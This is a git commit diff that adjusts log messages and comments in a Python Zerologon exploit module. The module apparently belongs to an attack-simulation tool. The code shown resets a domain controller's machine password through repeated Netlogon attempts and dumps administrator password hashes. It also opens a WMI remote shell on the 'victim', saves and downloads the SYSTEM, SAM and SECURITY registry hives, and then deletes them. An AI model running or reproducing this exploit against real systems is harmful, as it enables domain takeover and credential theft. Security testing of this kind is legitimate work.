Improve log messages and comments

This commit is contained in:
Shreya 2021-01-26 17:54:12 +05:30
parent 13ef69c3ed
commit 1cf07eff89
1 changed files with 34 additions and 27 deletions

View File

@ -17,7 +17,6 @@ import sys
import time
import traceback
from binascii import hexlify, unhexlify
from typing import List
import impacket
from Cryptodome.Cipher import AES, ARC4, DES
@ -111,26 +110,26 @@ class ZerologonExploiter(HostExploiter):
# Start exploiting attempts.
# Max attempts = 2000. Expected average number of attempts needed: 256.
LOG.debug("Attempting exploit.")
result = None
for _ in range(0, self.MAX_ATTEMPTS):
try:
result = self.attempt_exploit(DC_HANDLE, rpc_con, DC_NAME)
except nrpc.DCERPCSessionError as ex:
except nrpc.DCERPCSessionError as e:
# Failure should be due to a STATUS_ACCESS_DENIED error.
# Otherwise, the attack is probably not working.
if ex.get_error_code() != 0xc0000022:
LOG.info(f"Unexpected error code from DC: {ex.get_error_code()}")
except BaseException as ex:
LOG.info(f"Unexpected error: {ex}")
if e.get_error_code() != 0xc0000022:
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
except BaseException as e:
LOG.info(f"Unexpected error: {e}")
if result is not None:
break
LOG.debug(f"Result error code: {result['ErrorCode']}")
if result['ErrorCode'] == 0:
LOG.info("Exploit complete!")
else:
LOG.info("Non-zero return code, something went wrong.")
LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.")
_exploited = True
@ -142,11 +141,14 @@ class ZerologonExploiter(HostExploiter):
# Restore DC's original password.
if _exploited:
try:
self.restore_password(DC_HANDLE, DC_IP, DC_NAME)
if self.restore_password(DC_HANDLE, DC_IP, DC_NAME):
LOG.info("System exploited and password restored successfully.")
except:
else:
LOG.info("System exploited but couldn't restore password!")
else:
LOG.info("System was not exploited.")
return _exploited
def is_exploitable(self):
return self.zerologon_finger.get_host_fingerprint(self.host)
@ -175,32 +177,35 @@ class ZerologonExploiter(HostExploiter):
def restore_password(self, DC_HANDLE, DC_IP, DC_NAME):
LOG.info("Restoring original password...")
LOG.info("DCSync; getting original password hashes.")
LOG.debug("DCSync; getting admin password's hashes.")
admin_pwd_hashes = self.get_admin_pwd_hashes(DC_NAME, DC_IP)
try:
if not admin_pwd_hashes:
raise Exception("Couldn't extract admin password's hashes.")
LOG.debug("Getting original DC password's nthash.")
original_pwd_nthash = self.get_original_pwd_nthash(DC_IP, admin_pwd_hashes)
if not original_pwd_nthash:
raise Exception("Couldn't extract original DC password's nthash.")
# Keep authenticating until successful.
LOG.debug("Attempting password restoration.")
for _ in range(0, self.MAX_ATTEMPTS):
rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash)
if rpc_con is not None:
break
if rpc_con:
LOG.info("DC machine account password should be restored to its original value.")
LOG.debug("DC machine account password should be restored to its original value.")
return True
else:
LOG.info("Failed to restore password.")
raise Exception("Failed to restore password! Max attempts exceeded?")
except Exception as e:
LOG.error(e)
def get_admin_pwd_hashes(self, DC_NAME, DC_IP) -> str:
def get_admin_pwd_hashes(self, DC_NAME, DC_IP):
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
options['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0"
options['target_ip'] = DC_IP
@ -214,7 +219,7 @@ class ZerologonExploiter(HostExploiter):
hashes = secret.split(':')[2:4] # format of secret - "domain\uid:rid:lmhash:nthash:::"
return ':'.join(hashes) # format - "lmhash:nthash"
def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes) -> str:
def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes):
if not self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes):
return
@ -230,12 +235,14 @@ class ZerologonExploiter(HostExploiter):
nthash = secret.split(':')[2]
return nthash
def get_dumped_secrets(self, options, remote_name='', username='', password='', domain='') -> List[str]:
def get_dumped_secrets(self, options, remote_name='', username='', password='', domain=''):
dumper = DumpSecrets(remote_name, username, password, domain, options)
dumped_secrets = dumper.dump().split('\n')
return dumped_secrets
def save_HKLM_keys_locally(self, DC_IP, admin_pwd_hashes):
LOG.debug("Starting remote shell on victim.")
wmiexec = Wmiexec(ip=DC_IP,
username='Administrator',
hashes=admin_pwd_hashes,
@ -245,7 +252,7 @@ class ZerologonExploiter(HostExploiter):
if remote_shell:
_set_stdout_to_in_memory_text_stream()
# Save HKLM keys on host.
# Save HKLM keys on victim.
shell.onecmd('reg save HKLM\SYSTEM system.save && ' +
'reg save HKLM\SAM sam.save && ' +
'reg save HKLM\SECURITY security.save')
@ -255,7 +262,7 @@ class ZerologonExploiter(HostExploiter):
shell.onecmd('get sam.save')
shell.onecmd('get security.save')
# Delete saved keys on host.
# Delete saved keys on victim.
shell.onecmd('del /f system.save sam.save security.save')
info = _unset_stdout_and_return_captured()
@ -310,20 +317,20 @@ class ZerologonExploiter(HostExploiter):
resp = rpc_con.request(request)
resp.dump()
except Exception as ex:
LOG.info(f"Unexpected error: {ex}")
except Exception as e:
LOG.info(f"Unexpected error: {e}")
return rpc_con
except nrpc.DCERPCSessionError as ex:
except nrpc.DCERPCSessionError as e:
# Failure should be due to a STATUS_ACCESS_DENIED error; otherwise, the attack is probably not working.
if ex.get_error_code() == 0xc0000022:
if e.get_error_code() == 0xc0000022:
return None
else:
LOG.info(f"Unexpected error code from DC: {ex.get_error_code()}")
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
except BaseException as ex:
LOG.info(f"Unexpected error: {ex}")
except BaseException as e:
LOG.info(f"Unexpected error: {e}")
class NetrServerPasswordSet(nrpc.NDRCALL):
@ -525,7 +532,7 @@ class DumpSecrets:
return dumped_secrets
def cleanup(self):
LOG.info('Cleaning up...')
LOG.debug('Cleaning up...')
if self.__remote_ops:
self.__remote_ops.finish()
if self.__SAM_hashes: